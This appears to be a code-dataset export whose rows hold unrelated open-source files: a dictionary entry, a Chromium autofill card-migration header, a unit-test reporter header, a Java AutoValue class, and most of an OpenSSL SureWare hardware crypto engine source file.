max_stars_count
int64 301
224k
| text
stringlengths 6
1.05M
| token_count
int64 3
727k
|
|---|---|---|
335
|
<gh_stars>100-1000
{
"word": "Disgusted",
"definitions": [
"Feeling or expressing revulsion or strong disapproval."
],
"parts-of-speech": "Adjective"
}
| 73
|
575
|
// Copyright 2018 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef COMPONENTS_AUTOFILL_CORE_BROWSER_PAYMENTS_LOCAL_CARD_MIGRATION_MANAGER_H_
#define COMPONENTS_AUTOFILL_CORE_BROWSER_PAYMENTS_LOCAL_CARD_MIGRATION_MANAGER_H_
#include <memory>
#include <string>
#include <unordered_map>
#include <utility>
#include <vector>
#include "components/autofill/core/browser/autofill_client.h"
#include "components/autofill/core/browser/autofill_metrics.h"
#include "components/autofill/core/browser/payments/legal_message_line.h"
#include "components/autofill/core/browser/payments/local_card_migration_strike_database.h"
#include "components/autofill/core/browser/payments/payments_client.h"
namespace autofill {
class CreditCard;
class PersonalDataManager;
// Server-side response can return SUCCESS, TEMPORARY_FAILURE, or
// PERMANENT_FAILURE (see SaveResult enum). Use these to extract migration
// result.
const char kMigrationResultPermanentFailure[] = "PERMANENT_FAILURE";
const char kMigrationResultTemporaryFailure[] = "TEMPORARY_FAILURE";
const char kMigrationResultSuccess[] = "SUCCESS";
// MigratableCreditCard class is used as a data structure to work as an
// intermediary between the UI side and the migration manager. Besides the basic
// credit card information, it also includes a boolean that represents whether
// the card was chosen for upload. We use each card's guid to distinguish each
// credit card for upload request/response.
class MigratableCreditCard {
public:
// Possible states for the migratable local card.
enum class MigrationStatus {
// Set if the migratable card have not been uploaded.
UNKNOWN,
// Set if the migratable card was successfully uploaded to the server.
SUCCESS_ON_UPLOAD,
// Set if the migratable card encountered a failure during upload.
FAILURE_ON_UPLOAD,
};
explicit MigratableCreditCard(const CreditCard& credit_card);
~MigratableCreditCard();
CreditCard credit_card() const { return credit_card_; }
MigrationStatus migration_status() const { return migration_status_; }
void set_migration_status(MigrationStatus migration_status) {
migration_status_ = migration_status;
}
private:
// The main card information of the current migratable card.
CreditCard credit_card_;
// Migration status for this card.
MigrationStatus migration_status_ = MigrationStatus::UNKNOWN;
};
// Manages logic for determining whether migration of locally saved credit cards
// to Google Payments is available as well as multiple local card uploading.
// Owned by FormDataImporter.
class LocalCardMigrationManager {
public:
// An observer class used by browsertests that gets notified whenever
// particular actions occur.
class ObserverForTest {
public:
virtual void OnDecideToRequestLocalCardMigration() = 0;
virtual void OnReceivedGetUploadDetailsResponse() = 0;
virtual void OnSentMigrateCardsRequest() = 0;
virtual void OnReceivedMigrateCardsResponse() = 0;
};
// The parameters should outlive the LocalCardMigrationManager.
LocalCardMigrationManager(AutofillClient* client,
payments::PaymentsClient* payments_client,
const std::string& app_locale,
PersonalDataManager* personal_data_manager);
virtual ~LocalCardMigrationManager();
// Returns true if all of the conditions for allowing local credit card
// migration are satisfied. Initializes the local card list for upload. Stores
// a local copy of |imported_credit_card| and
// |imported_credit_card_record_type| locally for later check whether the
// imported card is supported. |imported_credit_card| might be null if a user
// used server card.
bool ShouldOfferLocalCardMigration(const CreditCard* imported_credit_card,
int imported_credit_card_record_type);
// Called from FormDataImporter or settings page when all migration
// requirements are met. Fetches legal documents and triggers the
// OnDidGetUploadDetails callback. |is_from_settings_page| to denote the user
// triggers the migration from settings page. It will trigger the main prompt
// directly if the get upload details call returns success.
void AttemptToOfferLocalCardMigration(bool is_from_settings_page);
// Callback function when user agrees to migration on the intermediate dialog.
// Pops up a larger, modal dialog showing the local cards to be uploaded.
// Exposed for testing.
virtual void OnUserAcceptedIntermediateMigrationDialog();
// Callback function when user confirms migration on the main migration
// dialog. Removes any MigratableCreditCard of which the guid is not in
// |selected_card_guids| from |migratable_credit_cards_|. Sets
// |user_accepted_main_migration_dialog_| and sends the migration request
// once risk data is available. Exposed for testing.
virtual void OnUserAcceptedMainMigrationDialog(
const std::vector<std::string>& selected_card_guids);
// Callback function when user clicks the trash can button in the
// action-required dialog to delete one credit card from Chrome.
// |deleted_card_guid| is the GUID of the card to be deleted.
virtual void OnUserDeletedLocalCardViaMigrationDialog(
const std::string& deleted_card_guid);
// Check that the user is signed in, syncing, and the proper experiment
// flags are enabled. Override in the test class.
virtual bool IsCreditCardMigrationEnabled();
// Determines what detected_values metadata to send (generally, cardholder
// name if it exists on all cards, and existence of Payments customer).
int GetDetectedValues() const;
// Fetch all migratable credit cards and store in |migratable_credit_cards_|.
// Migratable cards are cards whose card number passed luhn check and
// expiration date are valid. We do NOT filter unsupported cards here.
// Any other usage of this function other than ShouldOfferLocalCardMigration()
// and from settings page after OnDidGetUploadDetails, you should call
// FilterOutUnsupportedLocalCards right after this function to filter out
// unsupported cards. If so, the first OnDidGetUploadDetails() will need to
// store the supported ranges locally.
void GetMigratableCreditCards();
// For testing.
void SetAppLocaleForTesting(const std::string& app_locale) {
app_locale_ = app_locale;
}
protected:
// Callback after successfully getting the legal documents. On success,
// displays the offer-to-migrate dialog, which the user can accept or not.
// When |is_from_settings_page| is true, it will trigger the main prompt
// directly. If not, trigger the intermediate prompt. Exposed for testing.
virtual void OnDidGetUploadDetails(
bool is_from_settings_page,
AutofillClient::PaymentsRpcResult result,
const std::u16string& context_token,
std::unique_ptr<base::Value> legal_message,
std::vector<std::pair<int, int>> supported_card_bin_ranges);
// Callback after successfully getting the migration save results. Map
// migration save result to each card depending on the |save_result|. Will
// trigger a window showing the migration result together with display text to
// the user.
void OnDidMigrateLocalCards(
AutofillClient::PaymentsRpcResult result,
std::unique_ptr<std::unordered_map<std::string, std::string>> save_result,
const std::string& display_text);
AutofillClient* const client_;
// Handles Payments service requests.
// Owned by AutofillManager.
payments::PaymentsClient* payments_client_;
private:
friend class LocalCardMigrationBrowserTest;
FRIEND_TEST_ALL_PREFIXES(LocalCardMigrationManagerTest,
MigrateCreditCard_MigrateWhenHasSupportedLocalCard);
FRIEND_TEST_ALL_PREFIXES(LocalCardMigrationManagerTest,
MigrateCreditCard_MigrationPermanentFailure);
FRIEND_TEST_ALL_PREFIXES(LocalCardMigrationManagerTest,
MigrateCreditCard_MigrationTemporaryFailure);
FRIEND_TEST_ALL_PREFIXES(LocalCardMigrationManagerTest,
MigrateCreditCard_MigrationSuccess);
FRIEND_TEST_ALL_PREFIXES(LocalCardMigrationManagerTest,
MigrateCreditCard_ToggleIsChosen);
// Returns the LocalCardMigrationStrikeDatabase for |client_|.
LocalCardMigrationStrikeDatabase* GetLocalCardMigrationStrikeDatabase();
// Filter the |migratable_credit_cards_| with |supported_card_bin_ranges| and
// keep supported local cards in |migratable_credit_cards_|.
// Effective after one successful GetUploadDetails call where we fetch the
// |supported_card_bin_ranges|.
void FilterOutUnsupportedLocalCards(
const std::vector<std::pair<int, int>>& supported_card_bin_ranges);
// Pops up a larger, modal dialog showing the local cards to be uploaded.
void ShowMainMigrationDialog();
// Callback function when migration risk data is ready. Saves risk data in
// |migration_risk_data_| and calls SendMigrateLocalCardsRequest if the user
// has accepted the main migration dialog.
void OnDidGetMigrationRiskData(const std::string& risk_data);
// Finalizes the migration request and calls PaymentsClient.
void SendMigrateLocalCardsRequest();
// For testing.
void SetEventObserverForTesting(ObserverForTest* observer) {
observer_for_testing_ = observer;
}
// The parsed lines from the legal message return from GetUploadDetails.
LegalMessageLines legal_message_lines_;
std::string app_locale_;
// The personal data manager, used to save and load personal data to/from the
// web database. This is overridden by the AutofillManagerTest.
// Weak reference.
// May be NULL. NULL indicates OTR.
PersonalDataManager* personal_data_manager_;
// The imported credit card number from the form submission.
base::Optional<std::u16string> imported_credit_card_number_;
// The imported credit card record type from the form submission.
int imported_credit_card_record_type_;
// Collected information about a pending migration request.
payments::PaymentsClient::MigrationRequestDetails migration_request_;
// The local credit cards to be uploaded. Owned by LocalCardMigrationManager.
// The order of cards should not be changed.
// TODO(crbug.com/867194): Currently we will not handle the case of local
// cards added/deleted during migration.
std::vector<MigratableCreditCard> migratable_credit_cards_;
// |true| if the user has accepted migrating their local cards to Google Pay
// on the main dialog.
bool user_accepted_main_migration_dialog_ = false;
// Record the triggering source of the local card migration.
AutofillMetrics::LocalCardMigrationOrigin local_card_migration_origin_;
// Initialized only during tests.
ObserverForTest* observer_for_testing_ = nullptr;
std::unique_ptr<LocalCardMigrationStrikeDatabase>
local_card_migration_strike_database_;
base::WeakPtrFactory<LocalCardMigrationManager> weak_ptr_factory_{this};
DISALLOW_COPY_AND_ASSIGN(LocalCardMigrationManager);
};
} // namespace autofill
#endif // COMPONENTS_AUTOFILL_CORE_BROWSER_PAYMENTS_LOCAL_CARD_MIGRATION_MANAGER_H_
| 3,408
|
5,133
|
/*
* Copyright MapStruct Authors.
*
* Licensed under the Apache License version 2.0, available at http://www.apache.org/licenses/LICENSE-2.0
*/
package org.mapstruct.itest.auto.value;
import com.google.auto.value.AutoValue;
@AutoValue
public abstract class Person {
public abstract String getName();
public abstract int getAge();
public abstract Address getAddress();
public static Builder builder() {
return new AutoValue_Person.Builder();
}
@AutoValue.Builder
public abstract static class Builder {
public abstract Builder name(String name);
public abstract Builder age(int age);
public abstract Builder address(Address address);
public abstract Person build();
}
}
| 233
|
510
|
#ifndef UNITTEST_THROWINGTESTREPORTER_H
#define UNITTEST_THROWINGTESTREPORTER_H
#include "TestReporter.h"
namespace UnitTest {
// A TestReporter that throws when ReportFailure is called. Otherwise it
// forwards the calls to a decorated TestReporter
class ThrowingTestReporter : public TestReporter
{
public:
explicit ThrowingTestReporter(TestReporter* reporter);
virtual ~ThrowingTestReporter();
virtual void ReportTestStart(TestDetails const& test);
virtual void ReportFailure(TestDetails const& test, char const* failure);
virtual void ReportTestFinish(TestDetails const& test, float secondsElapsed);
virtual void ReportSummary(int totalTestCount, int failedTestCount, int failureCount, float secondsElapsed);
private:
TestReporter* m_decoratedReporter;
};
}
#endif
| 269
|
1,319
|
# -*- coding: utf-8 -*-
"""text2sql launch tools"""
from . import trainer
from . import infer
from . import eval
| 39
|
529
|
<reponame>PervasiveDigital/netmf-interpreter
/* Written by <NAME>(<EMAIL>)
*
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
*
* 3. All advertising materials mentioning features or use of this
* software must display the following acknowledgment:
* "This product includes software developed by the OpenSSL Project
* for use in the OpenSSL Toolkit. (http://www.OpenSSL.org/)"
*
* 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to
* endorse or promote products derived from this software without
* prior written permission. For written permission, please contact
* <EMAIL>.
*
* 5. Products derived from this software may not be called "OpenSSL"
* nor may "OpenSSL" appear in their names without prior written
* permission of the OpenSSL Project.
*
* 6. Redistributions of any form whatsoever must retain the following
* acknowledgment:
* "This product includes software developed by the OpenSSL Project
* for use in the OpenSSL Toolkit (http://www.OpenSSL.org/)"
*
* Written by <NAME>(<EMAIL>)
*
* Copyright@2001 Baltimore Technologies Ltd.
* All right Reserved.
* *
* THIS FILE IS PROVIDED BY BALTIMORE TECHNOLOGIES ``AS IS'' AND *
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE *
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE *
* ARE DISCLAIMED. IN NO EVENT SHALL BALTIMORE TECHNOLOGIES BE LIABLE *
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL *
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS *
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) *
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT *
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY *
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF *
* SUCH DAMAGE. *
====================================================================*/
#include "cryptlib.h"
#ifdef OPENSSL_SYS_WINDOWS
#include <stdio.h>
#include <string.h>
#endif
#include <openssl/crypto.h>
#include <openssl/pem.h>
#include <openssl/dso.h>
#include <openssl/engine.h>
#include <openssl/rand.h>
#ifndef OPENSSL_NO_RSA
#include <openssl/rsa.h>
#endif
#ifndef OPENSSL_NO_DSA
#include <openssl/dsa.h>
#endif
#ifndef OPENSSL_NO_DH
#include <openssl/dh.h>
#endif
#include <openssl/bn.h>
#ifndef OPENSSL_NO_HW
#ifndef OPENSSL_NO_HW_SUREWARE
#ifdef FLAT_INC
#include "sureware.h"
#else
#include "vendor_defns/sureware.h"
#endif
#define SUREWARE_LIB_NAME "sureware engine"
#include "e_sureware_err.cpp"
static int surewarehk_ctrl(ENGINE *e, int cmd, long i, void *p, void (*f)(void));
static int surewarehk_destroy(ENGINE *e);
static int surewarehk_init(ENGINE *e);
static int surewarehk_finish(ENGINE *e);
static int surewarehk_modexp(BIGNUM *r, const BIGNUM *a, const BIGNUM *p,
const BIGNUM *m, BN_CTX *ctx);
/* RSA stuff */
#ifndef OPENSSL_NO_RSA
static int surewarehk_rsa_priv_dec(int flen,const unsigned char *from,unsigned char *to,
RSA *rsa,int padding);
static int surewarehk_rsa_sign(int flen,const unsigned char *from,unsigned char *to,
RSA *rsa,int padding);
#endif
/* RAND stuff */
static int surewarehk_rand_bytes(unsigned char *buf, int num);
static void surewarehk_rand_seed(const void *buf, int num);
static void surewarehk_rand_add(const void *buf, int num, double entropy);
/* KM stuff */
static EVP_PKEY *surewarehk_load_privkey(ENGINE *e, const char *key_id,
UI_METHOD *ui_method, void *callback_data);
static EVP_PKEY *surewarehk_load_pubkey(ENGINE *e, const char *key_id,
UI_METHOD *ui_method, void *callback_data);
static void surewarehk_ex_free(void *obj, void *item, CRYPTO_EX_DATA *ad,
int idx,long argl, void *argp);
#if 0
static void surewarehk_dh_ex_free(void *obj, void *item, CRYPTO_EX_DATA *ad,
int idx,long argl, void *argp);
#endif
#ifndef OPENSSL_NO_RSA
/* This function is aliased to mod_exp (with the mont stuff dropped). */
static int surewarehk_mod_exp_mont(BIGNUM *r, const BIGNUM *a, const BIGNUM *p,
const BIGNUM *m, BN_CTX *ctx, BN_MONT_CTX *m_ctx)
{
return surewarehk_modexp(r, a, p, m, ctx);
}
/* Our internal RSA_METHOD that we provide pointers to */
static RSA_METHOD surewarehk_rsa =
{
"SureWare RSA method",
NULL, /* pub_enc*/
NULL, /* pub_dec*/
surewarehk_rsa_sign, /* our rsa_sign is OpenSSL priv_enc*/
surewarehk_rsa_priv_dec, /* priv_dec*/
NULL, /*mod_exp*/
surewarehk_mod_exp_mont, /*mod_exp_mongomery*/
NULL, /* init*/
NULL, /* finish*/
0, /* RSA flag*/
NULL,
NULL, /* OpenSSL sign*/
NULL, /* OpenSSL verify*/
NULL /* keygen */
};
#endif
#ifndef OPENSSL_NO_DH
/* Our internal DH_METHOD that we provide pointers to */
/* This function is aliased to mod_exp (with the dh and mont dropped). */
static int surewarehk_modexp_dh(const DH *dh, BIGNUM *r, const BIGNUM *a,
const BIGNUM *p, const BIGNUM *m, BN_CTX *ctx, BN_MONT_CTX *m_ctx)
{
return surewarehk_modexp(r, a, p, m, ctx);
}
static DH_METHOD surewarehk_dh =
{
"SureWare DH method",
NULL,/*gen_key*/
NULL,/*agree,*/
surewarehk_modexp_dh, /*dh mod exp*/
NULL, /* init*/
NULL, /* finish*/
0, /* flags*/
NULL,
NULL
};
#endif
static RAND_METHOD surewarehk_rand =
{
/* "SureWare RAND method", */
surewarehk_rand_seed,
surewarehk_rand_bytes,
NULL,/*cleanup*/
surewarehk_rand_add,
surewarehk_rand_bytes,
NULL,/*rand_status*/
};
#ifndef OPENSSL_NO_DSA
/* DSA stuff */
static DSA_SIG * surewarehk_dsa_do_sign(const unsigned char *dgst, int dlen, DSA *dsa);
static int surewarehk_dsa_mod_exp(DSA *dsa, BIGNUM *rr, BIGNUM *a1,
BIGNUM *p1, BIGNUM *a2, BIGNUM *p2, BIGNUM *m,
BN_CTX *ctx, BN_MONT_CTX *in_mont)
{
BIGNUM t;
int to_return = 0;
BN_init(&t);
/* let rr = a1 ^ p1 mod m */
if (!surewarehk_modexp(rr,a1,p1,m,ctx)) goto end;
/* let t = a2 ^ p2 mod m */
if (!surewarehk_modexp(&t,a2,p2,m,ctx)) goto end;
/* let rr = rr * t mod m */
if (!BN_mod_mul(rr,rr,&t,m,ctx)) goto end;
to_return = 1;
end:
BN_free(&t);
return to_return;
}
static DSA_METHOD surewarehk_dsa =
{
"SureWare DSA method",
surewarehk_dsa_do_sign,
NULL,/*sign setup*/
NULL,/*verify,*/
surewarehk_dsa_mod_exp,/*mod exp*/
NULL,/*bn mod exp*/
NULL, /*init*/
NULL,/*finish*/
0,
NULL,
NULL,
NULL
};
#endif
static const char *engine_sureware_id = "sureware";
static const char *engine_sureware_name = "SureWare hardware engine support";
/* Now, to our own code */
/* As this is only ever called once, there's no need for locking
* (indeed - the lock will already be held by our caller!!!) */
static int bind_sureware(ENGINE *e)
{
#ifndef OPENSSL_NO_RSA
const RSA_METHOD *meth1;
#endif
#ifndef OPENSSL_NO_DSA
const DSA_METHOD *meth2;
#endif
#ifndef OPENSSL_NO_DH
const DH_METHOD *meth3;
#endif
if(!ENGINE_set_id(e, engine_sureware_id) ||
!ENGINE_set_name(e, engine_sureware_name) ||
#ifndef OPENSSL_NO_RSA
!ENGINE_set_RSA(e, &surewarehk_rsa) ||
#endif
#ifndef OPENSSL_NO_DSA
!ENGINE_set_DSA(e, &surewarehk_dsa) ||
#endif
#ifndef OPENSSL_NO_DH
!ENGINE_set_DH(e, &surewarehk_dh) ||
#endif
!ENGINE_set_RAND(e, &surewarehk_rand) ||
!ENGINE_set_destroy_function(e, surewarehk_destroy) ||
!ENGINE_set_init_function(e, surewarehk_init) ||
!ENGINE_set_finish_function(e, surewarehk_finish) ||
!ENGINE_set_ctrl_function(e, (ENGINE_CTRL_FUNC_PTR)surewarehk_ctrl) ||
!ENGINE_set_load_privkey_function(e, surewarehk_load_privkey) ||
!ENGINE_set_load_pubkey_function(e, surewarehk_load_pubkey))
return 0;
#ifndef OPENSSL_NO_RSA
/* We know that the "PKCS1_SSLeay()" functions hook properly
* to the cswift-specific mod_exp and mod_exp_crt so we use
* those functions. NB: We don't use ENGINE_openssl() or
* anything "more generic" because something like the RSAref
* code may not hook properly, and if you own one of these
* cards then you have the right to do RSA operations on it
* anyway! */
meth1 = RSA_PKCS1_SSLeay();
if (meth1)
{
surewarehk_rsa.rsa_pub_enc = meth1->rsa_pub_enc;
surewarehk_rsa.rsa_pub_dec = meth1->rsa_pub_dec;
}
#endif
#ifndef OPENSSL_NO_DSA
/* Use the DSA_OpenSSL() method and just hook the mod_exp-ish
* bits. */
meth2 = DSA_OpenSSL();
if (meth2)
{
surewarehk_dsa.dsa_do_verify = meth2->dsa_do_verify;
}
#endif
#ifndef OPENSSL_NO_DH
/* Much the same for Diffie-Hellman */
meth3 = DH_OpenSSL();
if (meth3)
{
surewarehk_dh.generate_key = meth3->generate_key;
surewarehk_dh.compute_key = meth3->compute_key;
}
#endif
/* Ensure the sureware error handling is set up */
ERR_load_SUREWARE_strings();
return 1;
}
#ifndef OPENSSL_NO_DYNAMIC_ENGINE
static int bind_helper(ENGINE *e, const char *id)
{
if(id && (TINYCLR_SSL_STRCMP(id, engine_sureware_id) != 0))
return 0;
if(!bind_sureware(e))
return 0;
return 1;
}
IMPLEMENT_DYNAMIC_CHECK_FN()
IMPLEMENT_DYNAMIC_BIND_FN(bind_helper)
#else
static ENGINE *engine_sureware(void)
{
ENGINE *ret = ENGINE_new();
if(!ret)
return NULL;
if(!bind_sureware(ret))
{
ENGINE_free(ret);
return NULL;
}
return ret;
}
void ENGINE_load_sureware(void)
{
/* Copied from eng_[openssl|dyn].c */
ENGINE *toadd = engine_sureware();
if(!toadd) return;
ENGINE_add(toadd);
ENGINE_free(toadd);
ERR_clear_error();
}
#endif
/* This is a process-global DSO handle used for loading and unloading
* the SureWareHook library. NB: This is only set (or unset) during an
* init() or finish() call (reference counts permitting) and they're
* operating with global locks, so this should be thread-safe
* implicitly. */
static DSO *surewarehk_dso = NULL;
#ifndef OPENSSL_NO_RSA
static int rsaHndidx = -1; /* Index for KM handle. Not really used yet. */
#endif
#ifndef OPENSSL_NO_DSA
static int dsaHndidx = -1; /* Index for KM handle. Not really used yet. */
#endif
/* These are the function pointers that are (un)set when the library has
* successfully (un)loaded. */
static SureWareHook_Init_t *p_surewarehk_Init = NULL;
static SureWareHook_Finish_t *p_surewarehk_Finish = NULL;
static SureWareHook_Rand_Bytes_t *p_surewarehk_Rand_Bytes = NULL;
static SureWareHook_Rand_Seed_t *p_surewarehk_Rand_Seed = NULL;
static SureWareHook_Load_Privkey_t *p_surewarehk_Load_Privkey = NULL;
static SureWareHook_Info_Pubkey_t *p_surewarehk_Info_Pubkey = NULL;
static SureWareHook_Load_Rsa_Pubkey_t *p_surewarehk_Load_Rsa_Pubkey = NULL;
static SureWareHook_Load_Dsa_Pubkey_t *p_surewarehk_Load_Dsa_Pubkey = NULL;
static SureWareHook_Free_t *p_surewarehk_Free=NULL;
static SureWareHook_Rsa_Priv_Dec_t *p_surewarehk_Rsa_Priv_Dec=NULL;
static SureWareHook_Rsa_Sign_t *p_surewarehk_Rsa_Sign=NULL;
static SureWareHook_Dsa_Sign_t *p_surewarehk_Dsa_Sign=NULL;
static SureWareHook_Mod_Exp_t *p_surewarehk_Mod_Exp=NULL;
/* Used in the DSO operations. */
static const char *surewarehk_LIBNAME = "SureWareHook";
static const char *n_surewarehk_Init = "SureWareHook_Init";
static const char *n_surewarehk_Finish = "SureWareHook_Finish";
static const char *n_surewarehk_Rand_Bytes="SureWareHook_Rand_Bytes";
static const char *n_surewarehk_Rand_Seed="SureWareHook_Rand_Seed";
static const char *n_surewarehk_Load_Privkey="SureWareHook_Load_Privkey";
static const char *n_surewarehk_Info_Pubkey="SureWareHook_Info_Pubkey";
static const char *n_surewarehk_Load_Rsa_Pubkey="SureWareHook_Load_Rsa_Pubkey";
static const char *n_surewarehk_Load_Dsa_Pubkey="SureWareHook_Load_Dsa_Pubkey";
static const char *n_surewarehk_Free="SureWareHook_Free";
static const char *n_surewarehk_Rsa_Priv_Dec="SureWareHook_Rsa_Priv_Dec";
static const char *n_surewarehk_Rsa_Sign="SureWareHook_Rsa_Sign";
static const char *n_surewarehk_Dsa_Sign="SureWareHook_Dsa_Sign";
static const char *n_surewarehk_Mod_Exp="SureWareHook_Mod_Exp";
static BIO *logstream = NULL;
/* SureWareHook library functions and mechanics - these are used by the
* higher-level functions further down. NB: As and where there's no
* error checking, take a look lower down where these functions are
* called, the checking and error handling is probably down there.
*/
static int threadsafe=1;
static int surewarehk_ctrl(ENGINE *e, int cmd, long i, void *p, void (*f)(void))
{
int to_return = 1;
switch(cmd)
{
case ENGINE_CTRL_SET_LOGSTREAM:
{
BIO *bio = (BIO *)p;
CRYPTO_w_lock(CRYPTO_LOCK_ENGINE);
if (logstream)
{
BIO_free(logstream);
logstream = NULL;
}
if (CRYPTO_add(&bio->references,1,CRYPTO_LOCK_BIO) > 1)
logstream = bio;
else
SUREWAREerr(SUREWARE_F_SUREWAREHK_CTRL,SUREWARE_R_BIO_WAS_FREED);
}
CRYPTO_w_unlock(CRYPTO_LOCK_ENGINE);
break;
/* This will prevent the initialisation function from "installing"
* the mutex-handling callbacks, even if they are available from
* within the library (or were provided to the library from the
* calling application). This is to remove any baggage for
* applications not using multithreading. */
case ENGINE_CTRL_CHIL_NO_LOCKING:
CRYPTO_w_lock(CRYPTO_LOCK_ENGINE);
threadsafe = 0;
CRYPTO_w_unlock(CRYPTO_LOCK_ENGINE);
break;
/* The command isn't understood by this engine */
default:
SUREWAREerr(SUREWARE_F_SUREWAREHK_CTRL,
ENGINE_R_CTRL_COMMAND_NOT_IMPLEMENTED);
to_return = 0;
break;
}
return to_return;
}
/* Destructor (complements the "ENGINE_surewarehk()" constructor) */
static int surewarehk_destroy(ENGINE *e)
{
ERR_unload_SUREWARE_strings();
return 1;
}
/* (de)initialisation functions. */
static int surewarehk_init(ENGINE *e)
{
char msg[64]="ENGINE_init";
SureWareHook_Init_t *p1=NULL;
SureWareHook_Finish_t *p2=NULL;
SureWareHook_Rand_Bytes_t *p3=NULL;
SureWareHook_Rand_Seed_t *p4=NULL;
SureWareHook_Load_Privkey_t *p5=NULL;
SureWareHook_Load_Rsa_Pubkey_t *p6=NULL;
SureWareHook_Free_t *p7=NULL;
SureWareHook_Rsa_Priv_Dec_t *p8=NULL;
SureWareHook_Rsa_Sign_t *p9=NULL;
SureWareHook_Dsa_Sign_t *p12=NULL;
SureWareHook_Info_Pubkey_t *p13=NULL;
SureWareHook_Load_Dsa_Pubkey_t *p14=NULL;
SureWareHook_Mod_Exp_t *p15=NULL;
if(surewarehk_dso != NULL)
{
SUREWAREerr(SUREWARE_F_SUREWAREHK_INIT,ENGINE_R_ALREADY_LOADED);
goto err;
}
/* Attempt to load libsurewarehk.so/surewarehk.dll/whatever. */
surewarehk_dso = DSO_load(NULL, surewarehk_LIBNAME, NULL, 0);
if(surewarehk_dso == NULL)
{
SUREWAREerr(SUREWARE_F_SUREWAREHK_INIT,ENGINE_R_DSO_FAILURE);
goto err;
}
if(!(p1=(SureWareHook_Init_t*)DSO_bind_func(surewarehk_dso, n_surewarehk_Init)) ||
!(p2=(SureWareHook_Finish_t*)DSO_bind_func(surewarehk_dso, n_surewarehk_Finish)) ||
!(p3=(SureWareHook_Rand_Bytes_t*)DSO_bind_func(surewarehk_dso, n_surewarehk_Rand_Bytes)) ||
!(p4=(SureWareHook_Rand_Seed_t*)DSO_bind_func(surewarehk_dso, n_surewarehk_Rand_Seed)) ||
!(p5=(SureWareHook_Load_Privkey_t*)DSO_bind_func(surewarehk_dso, n_surewarehk_Load_Privkey)) ||
!(p6=(SureWareHook_Load_Rsa_Pubkey_t*)DSO_bind_func(surewarehk_dso, n_surewarehk_Load_Rsa_Pubkey)) ||
!(p7=(SureWareHook_Free_t*)DSO_bind_func(surewarehk_dso, n_surewarehk_Free)) ||
!(p8=(SureWareHook_Rsa_Priv_Dec_t*)DSO_bind_func(surewarehk_dso, n_surewarehk_Rsa_Priv_Dec)) ||
!(p9=(SureWareHook_Rsa_Sign_t*)DSO_bind_func(surewarehk_dso, n_surewarehk_Rsa_Sign)) ||
!(p12=(SureWareHook_Dsa_Sign_t*)DSO_bind_func(surewarehk_dso, n_surewarehk_Dsa_Sign)) ||
!(p13=(SureWareHook_Info_Pubkey_t*)DSO_bind_func(surewarehk_dso, n_surewarehk_Info_Pubkey)) ||
!(p14=(SureWareHook_Load_Dsa_Pubkey_t*)DSO_bind_func(surewarehk_dso, n_surewarehk_Load_Dsa_Pubkey)) ||
!(p15=(SureWareHook_Mod_Exp_t*)DSO_bind_func(surewarehk_dso, n_surewarehk_Mod_Exp)))
{
SUREWAREerr(SUREWARE_F_SUREWAREHK_INIT,ENGINE_R_DSO_FAILURE);
goto err;
}
/* Copy the pointers */
p_surewarehk_Init = p1;
p_surewarehk_Finish = p2;
p_surewarehk_Rand_Bytes = p3;
p_surewarehk_Rand_Seed = p4;
p_surewarehk_Load_Privkey = p5;
p_surewarehk_Load_Rsa_Pubkey = p6;
p_surewarehk_Free = p7;
p_surewarehk_Rsa_Priv_Dec = p8;
p_surewarehk_Rsa_Sign = p9;
p_surewarehk_Dsa_Sign = p12;
p_surewarehk_Info_Pubkey = p13;
p_surewarehk_Load_Dsa_Pubkey = p14;
p_surewarehk_Mod_Exp = p15;
/* Contact the hardware and initialises it. */
if(p_surewarehk_Init(msg,threadsafe)==SUREWAREHOOK_ERROR_UNIT_FAILURE)
{
SUREWAREerr(SUREWARE_F_SUREWAREHK_INIT,SUREWARE_R_UNIT_FAILURE);
goto err;
}
if(p_surewarehk_Init(msg,threadsafe)==SUREWAREHOOK_ERROR_UNIT_FAILURE)
{
SUREWAREerr(SUREWARE_F_SUREWAREHK_INIT,SUREWARE_R_UNIT_FAILURE);
goto err;
}
/* try to load the default private key, if failed does not return a failure but
wait for an explicit ENGINE_load_privakey */
surewarehk_load_privkey(e,NULL,NULL,NULL);
/* Everything's fine. */
#ifndef OPENSSL_NO_RSA
if (rsaHndidx == -1)
rsaHndidx = RSA_get_ex_new_index(0,
(void*)"SureWareHook RSA key handle",
NULL, NULL, surewarehk_ex_free);
#endif
#ifndef OPENSSL_NO_DSA
if (dsaHndidx == -1)
dsaHndidx = DSA_get_ex_new_index(0,
(void*)"SureWareHook DSA key handle",
NULL, NULL, surewarehk_ex_free);
#endif
return 1;
err:
if(surewarehk_dso)
DSO_free(surewarehk_dso);
surewarehk_dso = NULL;
p_surewarehk_Init = NULL;
p_surewarehk_Finish = NULL;
p_surewarehk_Rand_Bytes = NULL;
p_surewarehk_Rand_Seed = NULL;
p_surewarehk_Load_Privkey = NULL;
p_surewarehk_Load_Rsa_Pubkey = NULL;
p_surewarehk_Free = NULL;
p_surewarehk_Rsa_Priv_Dec = NULL;
p_surewarehk_Rsa_Sign = NULL;
p_surewarehk_Dsa_Sign = NULL;
p_surewarehk_Info_Pubkey = NULL;
p_surewarehk_Load_Dsa_Pubkey = NULL;
p_surewarehk_Mod_Exp = NULL;
return 0;
}
static int surewarehk_finish(ENGINE *e)
{
int to_return = 1;
if(surewarehk_dso == NULL)
{
